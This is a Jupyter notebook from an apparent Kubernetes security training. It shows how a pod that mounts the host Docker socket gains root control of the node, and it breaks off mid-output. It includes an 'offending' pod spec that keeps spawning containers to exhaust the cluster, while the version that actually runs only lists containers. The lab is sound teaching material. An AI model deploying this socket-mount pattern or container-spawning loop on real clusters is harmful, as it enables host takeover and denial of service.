Kube-Scan-Cloudbomb.ipynb

{
 "cells": [
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "**This notebook covered by the following [license](License.ipynb)  This note must not be removed**"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "# Cloudbomb\n",
    "\n",
    "\n",
    "## Purpose\n",
    "\n",
    "It is shown, how dangerous it is \n",
    "\n",
    "* to start an image from an untrusted source\n",
    "* with __root privileges__\n",
    "* and __access to the host file system__\n",
    "\n",
    "This examples destroys the cluster step by step. \n",
    "\n",
    "It is a dangerous example, turned _s l o w_ for didactic purposes.\n",
    "\n",
    "It can even be made more disruptive easily.\n",
    "\n",
    "Don't put images like this into public registries.\n"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "#### Create an empty directory and change into"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 1,
   "metadata": {},
   "outputs": [],
   "source": [
    "mkdir -p cloudbomb\n",
    "cd cloudbomb"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 2,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "/minikube-host/notebooks/training-kubernetes-security/cloudbomb\n"
     ]
    }
   ],
   "source": [
    "pwd"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "#### Get Docker\n",
    "\n",
    "See the latest statically linked versions here\n",
    "https://download.docker.com/linux/static/stable/x86_64/"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 3,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current\n",
      "                                 Dload  Upload   Total   Spent    Left  Speed\n",
      "100 60.7M  100 60.7M    0     0  7726k      0  0:00:08  0:00:08 --:--:-- 8382k\n"
     ]
    }
   ],
   "source": [
    "curl https://download.docker.com/linux/static/stable/x86_64/docker-19.03.8.tgz -o docker.tgz"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 4,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "docker/\n",
      "docker/containerd\n",
      "docker/docker\n",
      "docker/ctr\n",
      "docker/dockerd\n",
      "docker/runc\n",
      "docker/docker-proxy\n",
      "docker/docker-init\n",
      "docker/containerd-shim\n"
     ]
    }
   ],
   "source": [
    "tar tzf docker.tgz"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 5,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "/minikube-host/notebooks/training-kubernetes-security/cloudbomb\n"
     ]
    }
   ],
   "source": [
    "pwd"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 5,
   "metadata": {},
   "outputs": [],
   "source": [
    "tar xzf docker.tgz"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 8,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "total 206076\n",
      "drwxrwxr-x 2 docker 1000     4096 Mar 11  2020 ./\n",
      "drwxr-xr-x 3   1001 1001     4096 Nov 30 15:09 ../\n",
      "-rwxr-xr-x 1 docker 1000 34667000 Mar 11  2020 containerd*\n",
      "-rwxr-xr-x 1 docker 1000  6120256 Mar 11  2020 containerd-shim*\n",
      "-rwxr-xr-x 1 docker 1000 18874936 Mar 11  2020 ctr*\n",
      "-rwxr-xr-x 1 docker 1000 65830626 Mar 11  2020 docker*\n",
      "-rwxr-xr-x 1 docker 1000   764144 Mar 11  2020 docker-init*\n",
      "-rwxr-xr-x 1 docker 1000  2877369 Mar 11  2020 docker-proxy*\n",
      "-rwxr-xr-x 1 docker 1000 72235448 Mar 11  2020 dockerd*\n",
      "-rwxr-xr-x 1 docker 1000  9628672 Mar 11  2020 runc*\n"
     ]
    }
   ],
   "source": [
    "ls -alF docker"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### Create the Dockerfile\n",
    "\n",
    "and build the image **inside minikube**"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 9,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "FROM alpine\n",
      "\n",
      "COPY docker/docker /usr/bin\n",
      "\n",
      "CMD [\"docker\", \"ps\"]\n"
     ]
    }
   ],
   "source": [
    "cat > Dockerfile <<EOF\n",
    "FROM alpine\n",
    "\n",
    "COPY docker/docker /usr/bin\n",
    "\n",
    "CMD [\"docker\", \"ps\"]\n",
    "EOF\n",
    "cat Dockerfile"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 10,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "REPOSITORY                                TAG       IMAGE ID       CREATED        SIZE\n",
      "harden                                    latest    3def72f39e23   19 hours ago   8.69MB\n",
      "<none>                                    <none>    c2d8b6685fbf   19 hours ago   31.9MB\n",
      "nginx                                     latest    f652ca386ed1   13 days ago    141MB\n",
      "nginx                                     alpine    b46db85084b8   4 weeks ago    23.2MB\n",
      "k8s.gcr.io/kube-apiserver                 v1.22.2   e64579b7d886   3 months ago   128MB\n",
      "k8s.gcr.io/kube-controller-manager        v1.22.2   5425bcbd23c5   3 months ago   122MB\n",
      "k8s.gcr.io/kube-proxy                     v1.22.2   873127efbc8a   3 months ago   104MB\n",
      "k8s.gcr.io/kube-scheduler                 v1.22.2   b51ddc1014b0   3 months ago   52.7MB\n",
      "kubernetesui/dashboard                    v2.3.1    e1482a24335a   6 months ago   220MB\n",
      "k8s.gcr.io/etcd                           3.5.0-0   004811815584   6 months ago   295MB\n",
      "aquasec/kube-bench                        0.6.3     e3ddeb32fcfa   6 months ago   39.5MB\n",
      "kubernetesui/metrics-scraper              v1.0.7    7801cfc6d5c0   6 months ago   34.4MB\n",
      "k8s.gcr.io/coredns/coredns                v1.8.4    8d147537fb7d   6 months ago   47.6MB\n",
      "gcr.io/k8s-minikube/storage-provisioner   v5        6e38f40d628d   8 months ago   31.5MB\n",
      "k8s.gcr.io/pause                          3.5       ed210e3e4a5b   9 months ago   683kB\n"
     ]
    }
   ],
   "source": [
    "docker images"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 11,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "Sending build context to Docker daemon  274.7MB\n",
      "Step 1/3 : FROM alpine\n",
      "latest: Pulling from library/alpine\n",
      "\n",
      "\u001b[1BDigest: sha256:21a3deaa0d32a8057914f36584b5288d2e5ecc984380bc0118285c70fa8c9300\n",
      "Status: Downloaded newer image for alpine:latest\n",
      " ---> c059bfaa849c\n",
      "Step 2/3 : COPY docker/docker /usr/bin\n",
      " ---> c6fdbfaf3fe5\n",
      "Step 3/3 : CMD [\"docker\", \"ps\"]\n",
      " ---> Running in baeb88aded83\n",
      "Removing intermediate container baeb88aded83\n",
      " ---> 722e09838634\n",
      "Successfully built 722e09838634\n",
      "Successfully tagged cloudbomb:latest\n"
     ]
    }
   ],
   "source": [
    "docker build . -t cloudbomb"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "#### Check the images\n",
    "\n",
    "`grep -E ... ` is only for colouring "
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 12,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "REPOSITORY                                TAG       IMAGE ID       CREATED         SIZE\n",
      "\u001b[01;31m\u001b[Kcloudbomb                                 latest    722e09838634   8 seconds ago   71.4MB\u001b[m\u001b[K\n",
      "harden                                    latest    3def72f39e23   19 hours ago    8.69MB\n",
      "<none>                                    <none>    c2d8b6685fbf   19 hours ago    31.9MB\n",
      "nginx                                     latest    f652ca386ed1   13 days ago     141MB\n",
      "alpine                                    latest    c059bfaa849c   2 weeks ago     5.59MB\n",
      "nginx                                     alpine    b46db85084b8   4 weeks ago     23.2MB\n",
      "k8s.gcr.io/kube-apiserver                 v1.22.2   e64579b7d886   3 months ago    128MB\n",
      "k8s.gcr.io/kube-controller-manager        v1.22.2   5425bcbd23c5   3 months ago    122MB\n",
      "k8s.gcr.io/kube-proxy                     v1.22.2   873127efbc8a   3 months ago    104MB\n",
      "k8s.gcr.io/kube-scheduler                 v1.22.2   b51ddc1014b0   3 months ago    52.7MB\n",
      "kubernetesui/dashboard                    v2.3.1    e1482a24335a   6 months ago    220MB\n",
      "k8s.gcr.io/etcd                           3.5.0-0   004811815584   6 months ago    295MB\n",
      "aquasec/kube-bench                        0.6.3     e3ddeb32fcfa   6 months ago    39.5MB\n",
      "kubernetesui/metrics-scraper              v1.0.7    7801cfc6d5c0   6 months ago    34.4MB\n",
      "k8s.gcr.io/coredns/coredns                v1.8.4    8d147537fb7d   6 months ago    47.6MB\n",
      "gcr.io/k8s-minikube/storage-provisioner   v5        6e38f40d628d   8 months ago    31.5MB\n",
      "k8s.gcr.io/pause                          3.5       ed210e3e4a5b   9 months ago    683kB\n"
     ]
    }
   ],
   "source": [
    "docker images | grep --color=always -E '$|cloudbomb.*$' "
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## Create the Cloudbomb Pod\n",
    "\n",
    "* it is mounting the Docker socket `/var/run/docker.sock` into the container, we have `hostPath` rights\n",
    "* the `docker` process is running as `root`\n",
    "* **Gotcha**"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "# Offending version, don't use\n",
    "\n",
    "```yaml\n",
    "apiVersion: v1\n",
    "kind: Pod\n",
    "metadata:\n",
    "  name: cloudbomb \n",
    "spec:\n",
    "  containers:\n",
    "  - image: cloudbomb\n",
    "    imagePullPolicy: IfNotPresent\n",
    "    command:\n",
    "      - /bin/sh\n",
    "      - \"-c\" \n",
    "      - \"while true; \\\n",
    "           do \\   \n",
    "             docker run -d --name BOOM_\\$(cat /dev/urandom | \\\n",
    "             tr -cd 'a-f0-9' | \\\n",
    "             head -c 6) nginx ; \\\n",
    "             sleep 10 ; \\\n",
    "           done\"\n",
    "    name: cloudbomb\n",
    "    volumeMounts:\n",
    "    - mountPath: /var/run/docker.sock\n",
    "      name: docker-socket\n",
    "  volumes:\n",
    "  - name: docker-socket\n",
    "    hostPath:\n",
    "      path: /var/run/docker.sock\n",
    "      type: Socket\n",
    "```\n",
    "\n",
    "# Soft version"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 13,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "pod/cloudbomb created\n"
     ]
    }
   ],
   "source": [
    "kubectl create -f - <<EOF\n",
    "apiVersion: v1\n",
    "kind: Pod\n",
    "metadata:\n",
    "  name: cloudbomb \n",
    "spec:\n",
    "  containers:\n",
    "  - image: cloudbomb\n",
    "    imagePullPolicy: IfNotPresent\n",
    "    command:\n",
    "      - /bin/sh\n",
    "      - \"-c\" \n",
    "      - \"while true; \\\n",
    "           do \\   \n",
    "             docker ps ; \\\n",
    "             sleep 10 ; \\\n",
    "           done\"\n",
    "    name: cloudbomb\n",
    "    volumeMounts:\n",
    "    - mountPath: /var/run/docker.sock\n",
    "      name: docker-socket\n",
    "  volumes:\n",
    "  - name: docker-socket\n",
    "    hostPath:\n",
    "      path: /var/run/docker.sock\n",
    "      type: Socket\n",
    "EOF"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 14,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "NAME                        READY   STATUS      RESTARTS   AGE\n",
      "cloudbomb                   1/1     Running     0          4s\n",
      "kube-bench--1-vl2h9         0/1     Completed   0          75m\n",
      "my-nginx-5b56ccd65f-5tbgs   1/1     Running     0          21h\n",
      "my-nginx-5b56ccd65f-7br4l   1/1     Running     0          23h\n",
      "my-nginx-5b56ccd65f-lrbr4   1/1     Running     0          23h\n",
      "my-nginx-5b56ccd65f-nxbdq   1/1     Running     0          23h\n",
      "my-nginx-5b56ccd65f-p5k7h   1/1     Running     0          23h\n"
     ]
    }
   ],
   "source": [
    "kubectl get pods"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 14,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "pod/cloudbomb condition met\n"
     ]
    }
   ],
   "source": [
    "kubectl wait --for=condition=ready --timeout=10s pod/cloudbomb"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 15,
   "metadata": {},
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "NAME                            READY   STATUS    RESTARTS   AGE\n",
      "cloudbomb                       1/1     Running   0          6s\n",
      "nginx-strict-5cdc48cf55-f5r5l   1/1     Running   0          3h45m\n",
      "nginx-strict-5cdc48cf55-v72v5   1/1     Running   0          3h45m\n",
      "nginx-strict-5cdc48cf55-xkh98   1/1     Running   0          3h45m\n"
     ]
    }
   ],
   "source": [
    "kubectl get pods"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": 15,
   "metadata": {
    "collapsed": true,
    "jupyter": {
     "outputs_hidden": true
    },
    "tags": []
   },
   "outputs": [
    {
     "name": "stdout",
     "output_type": "stream",
     "text": [
      "CONTAINER ID        IMAGE                  COMMAND                  CREATED             STATUS                  PORTS               NAMES\n",
      "d5a3bff8013d        722e09838634           \"/bin/sh -c 'while t…\"   1 second ago        Up Less than a second                       k8s_cloudbomb_cloudbomb_default_1bc941a0-c93b-4f0c-ba5d-ff5ab56a313b_0\n",
      "0b15b60438ab        k8s.gcr.io/pause:3.5   \"/pause\"                 1 second ago        Up Less than a second                       k8s_POD_cloudbomb_default_1bc941a0-c93b-4f0c-ba5d-ff5ab56a313b_0\n",
      "9fb441f4472b        harden                 \"/usr/sbin/nginx -g …\"   19 hours ago        Up 19 hours                                 harden\n",
      "658daf1a9ae5        nginx                  \"/docker-entrypoint.…\"   21 hours ago        Up 21 hours                                 k8s_my-nginx_my-nginx-5b56ccd65f-5tbgs_default_1ad19392-eb5c-4df9-aa54-efd0ecfe0e2c_0\n",
      "18ea1f6cc811        k8s.gcr.io/pause:3.5   \"/pause\"                 21 hours ago        Up 21 hours                                 k8s_POD_my-nginx-5b56ccd65f-5tbgs_default_1ad19392-eb5c-4df9-aa54-efd0ecfe0e2c_0\n",
      "095296be488c        nginx                  \"/docker-entrypoint.…\"   23 hours ago        Up 23 hours                                 k8s_my-nginx_my-nginx-5b56ccd65f-lrbr4_default_36d53d62-dccb-45ac-8f0d-6f850d92d8b1_0\n",
      "fdac76cbe36e        nginx                  \"/docker-entrypoint.…\"   23 hours ago        Up 23 hours                                 k8s_my-nginx_my-nginx-5b56ccd65f-nxbdq_default_f99944db-1790-473b-995c-7faad2371330_0\n",
      "4dd8cd66fc29        k8s.gcr.io/pause:3.5   \"/pause\"                 23 hours ago        Up 23 hours                                 k8s_POD_my-nginx-5b56ccd65f-lrbr4_default_36d53d62-dccb-45ac-8f0d-6f850d92d8b1_0\n",
      "72b88b969927        k8s.gcr.io/pause:3.5   \"/pause\"                 23 hours ago        Up 23 hours                                 k8s_POD_my-nginx-5b56ccd65f-nxbdq_default_f99944db-1790-473b-995c-7faad2371330_0\n",
      "541f17256823        nginx                  \"/docker-entrypoint.…\"   24 hours ago        Up 24 hours                                 k8s_my-nginx_my-nginx-5b56ccd65f-p5k7h_default_82824efe-4f1f-467b-b7ac-7760c13ed975_0\n",
      "3cbdff544574        nginx                  \"/docker-entrypoint.…\"   24 hours ago        Up 24 hours                                 k8s_my-nginx_my-nginx-5b56ccd65f-7br4l_default_f4111fec-0eec-4f10-a7b1-4eac5b3fe097_0\n",
      "d9b11f066ead        k8s.gcr.io/pause:3.5   \"/pause\"                 24 hours ago        Up 24 hours                                 k8s_POD_my-nginx-5b56ccd65f-p5k7h_default_82824efe-4f1f-467b-b7ac-7760c13ed975_0\n",
      "7ec2fc206a02        k8s.gcr.io/pause:3.5   \"/pause\"                 24 hours ago        Up 24 hours                                 k8s_POD_my-nginx-5b56ccd65f-7br4l_default_f4111fec-0eec-4f10-a7b1-4eac5b3fe097_0\n",
      "1fb0d76607ed        6e38f40d628d           \"/storage-provisioner\"   24 hours ago        Up 24 hours                                 k8s_storage-provisioner_storage-provisioner_kube-system_1548213e-8614-4868-9539-a40b74c08da1_1\n",
      "81a08a52422b        8d147537fb7d           \"/coredns -conf /etc…\"   24 hours ago        Up 24 hours                                 k8s_coredns_coredns-78fcd69978-s857g_kube-system_c191726f-a18e-4125-b31d-80a077b6b818_0\n",
      "1b599e2e0cab        873127efbc8a           \"/usr/local/bin/kube…\"   24 hours ago        Up 24 hours                                 k8s_kube-proxy_kube-proxy-phdq2_kube-system_c55fa940-60a4-44ba-aa8f-6f25fd7a96a6_0\n",
      "864fcf10b213        k8s.gcr.io/pause:3.5   \"/pause\"                 24 hours ago        Up 24 hours                                 k8s_POD_coredns-78fcd69978-s857g_kube-system_c191726f-a18e-4125-b31d-80a077b6b818_0\n",
      "a6fd5b0e7715        k8s.gcr.io/pause:3.5   \"/pause\"                 24 hours ago        Up 24 hours                                 k8s_POD_kube-proxy-phdq2_kube-system_c55fa940-60a4-44ba-aa8f-6f25fd7a96a6_0\n",
      "ae90af1b3a7f        k8s.gcr.io/pause:3.5   \"/pause\"                 24 hours ago        Up 24 hours                                 k8s_POD_storage-provisioner_kube-system_1548213e-8614-4868-9539-a40b74c08da1_0\n",
      "2a888a4c34c5        e64579b7d886           \"kube-apiserver --ad…\"   24 hours ago        Up 24 hours                                 k8s_kube-apiserver_kube-apiserver-minikube_kube-system_fe49842e48a1ca6bac988e8ba88ecc53_0\n",
      "f2ad37b3f3aa        b51ddc1014b0           \"kube-scheduler --au…\"   24 hours ago        Up 24 hours                                 k8s_kube-scheduler_kube-scheduler-minikube_kube-system_97bca4cd66281ad2157a6a68956c4fa5_0\n",
      "5bc81e79c0ef        004811815584           \"etcd --advertise-cl…\"   24 hours ago        Up 24 hours                                 k8s_etcd_etcd-minikube_kube-system_08a3871e1baa241b73e5af01a6d01393_0\n",
      "b7ea1feba115        5425bcbd23c5           \"kube-controller-man…\"   24 hours ago        Up 24 hours                                 k8s_kube-controller-manager_kube-controller-manager-minikube_kube-system_4787f37e041fd890d5499a8863561e5f_0\n",
      "5dc91f905ddd        k8s.gcr.io/pause:3.5   \"/pause\"                 24 hours ago        Up 24 hours                                 k8s_POD_kube-scheduler-minikube_kube-system_97bca4cd66281ad2157a6a68956c4fa5_0\n",
      "8ab516537c3a        k8s.gcr.io/pause:3.5   \"/pause\"                 24 hours ago        Up 24 hours                                 k8s_POD_kube-controller-manager-minikube_kube-system_4787f37e041fd890d5499a8863561e5f_0\n",
      "4b8397fb631b        k8s.gcr.io/pause:3.5   \"/pause\"                 24 hours ago        Up 24 hours                                 k8s_POD_kube-apiserver-minikube_kube-system_fe49842e48a1ca6bac988e8ba88ecc53_0\n",
      "1d4a5075e31b        k8s.gcr.io/pause:3.5   \"/pause\"                 24 hours ago        Up 24 hours                                 k8s_POD_etcd-minikube_kube-system_08a3871e1baa241b73e5af01a6d01393_0\n",
      "CONTAINER ID        IMAGE                  COMMAND                  CREATED             STATUS              PORTS               NAMES\n",
      "d5a3bff8013d        722e09838634           \"/bin/sh -c 'while t…\"   11 seconds ago      Up 10 seconds                           k8s_cloudbomb_cloudbomb_default_1bc941a0-c93b-4f0c-ba5d-ff5ab56a313b_0\n",
      "0b15b60438ab        k8s.gcr.io/pause:3.5   \"/pause\"                 11 seconds ago      Up 10 seconds                           k8s_POD_cloudbomb_default_1bc941a0-c93b-4f0c-ba5d-ff5ab56a313b_0\n",
      "9fb441f4472b        harden                 \"/usr/sbin/nginx -g …\"   19 hours ago        Up 19 hours                             harden\n",
      "658daf1a9ae5        nginx                  \"/docker-entrypoint.…\"   21 hours ago        Up 21 hours                             k8s_my-nginx_my-nginx-5b56ccd65f-5tbgs_default_1ad19392-eb5c-4df9-aa54-efd0ecfe0e2c_0\n",
      "18ea1f6cc811        k8s.gcr.io/pause:3.5   \"/pause\"                 21 hours ago        Up 21 hours                             k8s_POD_my-nginx-5b56ccd65f-5tbgs_default_1ad19392-eb5c-4df9-aa54-efd0ecfe0e2c_0\n",
      "095296be488c        nginx                  \"/docker-entrypoint.…\"   23 hours ago        Up 23 hours                             k8s_my-nginx_my-nginx-5b56ccd65f-lrbr4_default_36d53d62-dccb-45ac-8f0d-6f850d92d8b1_0\n",
      "fdac76cbe36e        nginx                  \"/docker-entrypoint.…\"   23 hours ago        Up 23 hours                             k8s_my-nginx_my-nginx-5b56ccd65f-nxbdq_default_f99944db-1790-473b-995c-7faad2371330_0\n",
      "4dd8cd66fc29        k8s.gcr.io/pause:3.5   \"/pause\"                 23 hours ago        Up 23 hours                             k8s_POD_my-nginx-5b56ccd65f-lrbr4_default_36d53d62-dccb-45ac-8f0d-6f850d92d8b1_0\n",
      "72b88b969927        k8s.gcr.io/pause:3.5   \"/pause\"                 23 hours ago        Up 23 hours                             k8s_POD_my-nginx-5b56ccd65f-nxbdq_default_f99944db-1790-473b-995c-7faad2371330_0\n",
      "541f17256823        nginx                  \"/docker-entrypoint.…\"   24 hours ago        Up 24 hours                             k8s_my-nginx_my-nginx-5b56ccd65f-p5k7h_default_82824efe-4f1f-467b-b7ac-7760c13ed975_0\n",
      "3cbdff544574        nginx                  \"/docker-entrypoint.…\"   24 hours ago        Up 24 hours                             k8s_my-nginx_my-nginx-5b56ccd65f-7br4l_default_f4111fec-0eec-4f10-a7b1-4eac5b3fe097_0\n",
      "d9b11f066ead        k8s.gcr.io/pause:3.5   \"/pause\"                 24 hours ago        Up 24 hours                             k8s_POD_my-nginx-5b56ccd65f-p5k7h_default_82824efe-4f1f-467b-b7ac-7760c13ed975_0\n",
      "7ec2fc206a02        k8s.gcr.io/pause:3.5   \"/pause\"                 24 hours ago        Up 24 hours                             k8s_POD_my-nginx-5b56ccd65f-7br4l_default_f4111fec-0eec-4f10-a7b1-4eac5b3fe097_0\n",
      "1fb0d76607ed        6e38f40d628d           \"/storage-provisioner\"   24 hours ago        Up 24 hours                             k8s_storage-provisioner_storage-provisioner_kube-system_1548213e-8614-4868-9539-a40b74c08da1_1\n",
      "81a08a52422b        8d147537fb7d           \"/coredns -conf /etc…\"   24 hours ago        Up 24 hours                             k8s_coredns_coredns-78fcd69978-s857g_kube-system_c191726f-a18e-4125-b31d-80a077b6b818_0\n",
      "1b599e2e0cab        873127efbc8a           \"/usr/local/bin/kube…\"   24 hours ago        Up 24 hours                             k8s_kube-proxy_kube-proxy-phdq2_kube-system_c55fa940-60a4-44ba-aa8f-6f25fd7a96a6_0\n",
      "864fcf10b213        k8s.gcr.io/pause:3.5   \"/pause\"                 24 hours ago        Up 24 hours                             k8s_POD_coredns-78fcd69978-s857g_kube-system_c191726f-a18e-4125-b31d-80a077b6b818_0\n",
      "a6fd5b0e7715        k8s.gcr.io/pause:3.5   \"/pause\"                 24 hours ago        Up 24 hours                             k8s_POD_kube-proxy-phdq2_kube-system_c55fa940-60a4-44ba-aa8f-6f25fd7a96a6_0\n",
      "ae90af1b3a7f        k8s.gcr.io/pause:3.5   \"/pause\"                 24 hours ago        Up 24 hours                             k8s_POD_storage-provisioner_kube-system_1548213e-8614-4868-9539-a40b74c08da1_0\n",
      "2a888a4c34c5        e64579b7d886           \"kube-apiserver --ad…\"   24 hours ago        Up 24 hours                             k8s_kube-apiserver_kube-apiserver-minikube_kube-system_fe49842e48a1ca6bac988e8ba88ecc53_0\n",
      "f2ad37b3f3aa        b51ddc1014b0           \"kube-scheduler --au…\"   24 hours ago        Up 24 hours                             k8s_kube-scheduler_kube-scheduler-minikube_kube-system_97bca4cd66281ad2157a6a68956c4fa5_0\n",
      "5bc81e79c0ef        004811815584           \"etcd --advertise-cl…\"   24 hours ago        Up 24 hours                             k8s_etcd_etcd-minikube_kube-system_08a3871e1baa241b73e5af01a6d01393_0\n",
      "b7ea1feba115        5425bcbd23c5           \"kube-controller-man…\"   24 hours ago        Up 24 hours                             k8s_kube-controller-manager_kube-controller-manager-minikube_kube-system_4787f37e041fd890d5499a8863561e5f_0\n",
      "5dc91f905ddd        k8s.gcr.io/pause:3.5   \"/pause\"                 24 hours ago        Up 24 hours                             k8s_POD_kube-scheduler-minikube_kube-system_97bca4cd66281ad2157a6a68956c4fa5_0\n",
      "8ab516537c3a        k8s.gcr.io/pause:3.5   \"/pause\"                 24 hours ago        Up 24 hours                             k8s_POD_kube-controller-manager-minikube_kube-system_4787f37e041fd890d5499a8863561e5f_0\n",
      "4b8397fb631b        k8s.gcr.io/pause:3.5   \"/pause\"                 24 hours ago        Up 24 hours                             k8s_POD_kube-apiserver-minikube_kube-system_fe49842e48a1ca6bac988e8ba88ecc53_0\n",
      "1d4a5075e31b        k8s.gcr.io/pause:3.5   \"/pause\"                 24 hours ago        Up 24 hours                             k8s_POD_etcd-minikube_kube-system_08a3871e1baa241b73e5af01a6d01393_0\n",
      "CONTAINER ID        IMAGE                  COMMAND                  CREATED             STATUS              PORTS               NAMES\n",
      "d5a3bff8013d        722e09838634           \"/bin/sh -c 'while t…\"   21 seconds ago      Up 20 seconds                           k8s_cloudbomb_cloudbomb_default_1bc941a0-c93b-4f0c-ba5d-ff5ab56a313b_0\n",
      "0b15b60438ab        k8s.gcr.io/pause:3.5   \"/pause\"                 21 seconds ago      Up 20 seconds                           k8s_POD_cloudbomb_default_1bc941a0-c93b-4f0c-ba5d-ff5ab56a313b_0\n",
      "9fb441f4472b        harden                 \"/usr/sbin/nginx -g …\"   19 hours ago        Up 19 hours                             harden\n",
      "658daf1a9ae5        nginx                  \"/docker-entrypoint.…\"   21 hours ago        Up 21 hours                             k8s_my-nginx_my-nginx-5b56ccd65f-5tbgs_default_1ad19392-eb5c-4df9-aa54-efd0ecfe0e2c_0\n",
      "18ea1f6cc811        k8s.gcr.io/pause:3.5   \"/pause\"                 21 hours ago        Up 21 hours                             k8s_POD_my-nginx-5b56ccd65f-5tbgs_default_1ad19392-eb5c-4df9-aa54-efd0ecfe0e2c_0\n",
      "095296be488c        nginx                  \"/docker-entrypoint.…\"   23 hours ago        Up 23 hours                             k8s_my-nginx_my-nginx-5b56ccd65f-lrbr4_default_36d53d62-dccb-45ac-8f0d-6f850d92d8b1_0\n",
      "fdac76cbe36e        nginx                  \"/docker-entrypoint.…\"   23 hours ago        Up 23 hours                             k8s_my-nginx_my-nginx-5b56ccd65f-nxbdq_default_f99944db-1790-473b-995c-7faad2371330_0\n",
      "4dd8cd66fc29        k8s.gcr.io/pause:3.5   \"/pause\"                 23 hours ago        Up 23 hours                             k8s_POD_my-nginx-5b56ccd65f-lrbr4_default_36d53d62-dccb-45ac-8f0d-6f850d92d8b1_0\n",
      "72b88b969927        k8s.gcr.io/pause:3.5   \"/pause\"                 23 hours ago        Up 23 hours                             k8s_POD_my-nginx-5b56ccd65f-nxbdq_default_f99944db-1790-473b-995c-7faad2371330_0\n",
      "541f17256823        nginx                  \"/docker-entrypoint.…\"   24 hours ago        Up 24 hours                             k8s_my-nginx_my-nginx-5b56ccd65f-p5k7h_default_82824efe-4f1f-467b-b7ac-7760c13ed975_0\n",
      "3cbdff544574        nginx                  \"/docker-entrypoint.…\"   24 hours ago        Up 24 hours                             k8s_my-nginx_my-nginx-5b56ccd65f-7br4l_default_f4111fec-0eec-4f10-a7b1-4eac5b3fe097_0\n",
      "d9b11f066ead        k8s.gcr.io/pause:3.5   \"/pause\"                 24 hours ago        Up 24 hours                             k8s_POD_my-nginx-5b56ccd65f-p5k7h_default_82824efe-4f1f-467b-b7ac-7760c13ed975_0\n",
      "7ec2fc206a02        k8s.gcr.io/pause:3.5   \"/pause\"                 24 hours ago        Up 24 hours                             k8s_POD_my-nginx-5b56ccd65f-7br4l_default_f4111fec-0eec-4f10-a7b1-4eac5b3fe097_0\n",
      "1fb0d76607ed        6e38f40d628d           \"/storage-provisioner\"   24 hours ago        Up 24 hours                             k8s_storage-provisioner_storage-provisioner_kube-system_1548213e-8614-4868-9539-a40b74c08da1_1\n",
      "81a08a52422b        8d147537fb7d           \"/coredns -conf /etc…\"   24 hours ago        Up 24 hours                             k8s_coredns_coredns-78fcd69978-s857g_kube-system_c191726f-a18e-4125-b31d-80a077b6b818_0\n",
      "1b599e2e0cab        873127efbc8a           \"/usr/local/bin/kube…\"   24 hours ago        Up 24 hours                             k8s_kube-proxy_kube-proxy-phdq2_kube-system_c55fa940-60a4-44ba-aa8f-6f25fd7a96a6_0\n",
      "864fcf10b213        k8s.gcr.io/pause:3.5   \"/pause\"                 24 hours ago        Up 24 hours                             k8s_POD_coredns-78fcd69978-s857g_kube-system_c191726f-a18e-4125-b31d-80a077b6b818_0\n",
      "a6fd5b0e7715        k8s.gcr.io/pause:3.5   \"/pause\"                 24 hours ago        Up 24 hours                             k8s_POD_kube-proxy-phdq2_kube-system_c55fa940-60a4-44ba-aa8f-6f25fd7a96a6_0\n",
      "ae90af1b3a7f        k8s.gcr.io/pause:3.5   \"/pause\"                 24 hours ago        Up 24 hours                             k8s_POD_storage-provisioner_kube-system_1548213e-8614-4868-9539-a40b74c08da1_0\n",
      "2a888a4c34c5        e64579b7d886           \"kube-apiserver --ad…\"   24 hours ago        Up 24 hours                             k8s_kube-apiserver_kube-apiserver-minikube_kube-system_fe49842e48a1ca6bac988e8ba88ecc53_0\n",
      "f2ad37b3f3aa        b51ddc1014b0           \"kube-scheduler --au…\"   24 hours ago        Up 24 hours                             k8s_kube-scheduler_kube-scheduler-minikube_kube-system_97bca4cd66281ad2157a6a68956c4fa5_0\n",
